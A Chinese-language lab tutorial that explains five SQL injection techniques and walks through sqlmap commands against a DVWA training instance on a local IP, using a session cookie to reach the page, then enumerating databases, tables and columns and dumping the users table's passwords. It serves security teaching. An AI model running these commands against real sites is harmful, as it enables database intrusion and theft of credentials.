SQLmap注入

SQLmap注入

sqlmap只是用来检测和利用sql注入点，并不能扫描出网站有哪些漏洞，使用前先使用扫描工具扫出sql注入点。

sqlmap采用了五种独特的SQL注入技术。

1.布尔盲注：可以根据返回页面判断条件真假的注入。

2.时间盲注：不能根据返回页面的内容判断出任何信息，要用条件语句查询时间延迟语句是否已经执行（页面返回时间是否增加）来判断。

3.报错注入：页面会返回错误信息或者把注入的语句的结果直接返回到页面中。

4.联合查询注入：可以使用Union的情况下的注入。

5.堆注入：可以同时执行多条语句的执行时注入。

实训：

步骤1：使用sqlmap进行get型注入，cookie用于绕过登录页面

sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch 
-- batch:选项全选yes
-u 指定目标的url

按住F12,进入开发者工具，点击storage.

显示：

步骤2：查看有哪些数据库

sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch --dbs

步骤3：查看当前的数据库

sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch --current-db

步骤4：查看数据库中所有的表

sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch -D dvwa --tables

步骤5：查看user表里有哪些列

sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch -D dvwa -T users --columns

步骤6：爆破表中的密码

sqlmap -u 'http://192.168.1.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie = 'security = low; PHPSESSID = 3j4urng144pl0lb4je3hue5hr7' --batch -D dvwa -T users -C"user,password" --dump